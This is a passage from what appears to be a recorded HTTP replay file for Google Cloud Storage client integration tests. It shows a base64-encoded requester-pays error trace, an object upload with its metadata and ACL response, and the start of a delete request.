XZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "3fee93fca0ef933c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3112" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:21 GMT" - ], - "Etag": [ - "CLfH1eDx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqLO91a0iSaTsK7EA2iN621UX-atvJ-8m8BeqeR8_o_CQLB8Pco5FMXznwQY7DZ8u0GPd1BvLE98s5S7T1Z6yL66OKL0CFFUntLBqNAKlji2Dcme6g" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMTY1MDYxNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkyMTY1MDYxNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyMS42NTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MjEuNjUwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjIxLjY1MFoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTkyMTY1MDYxNSZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMTY1MDYxNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIxNjUwNjE1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNMZkgxZUR4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMTY1MDYxNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjE2NTA2MTUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTGZIMWVEeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU5MjE2NTA2MTUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIxNjUwNjE1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNMZkgxZUR4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMTY1MDYxNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjE2NTA2MTUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTGZIMWVEeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNMZkgxZUR4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "5c26cf93373a296a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - 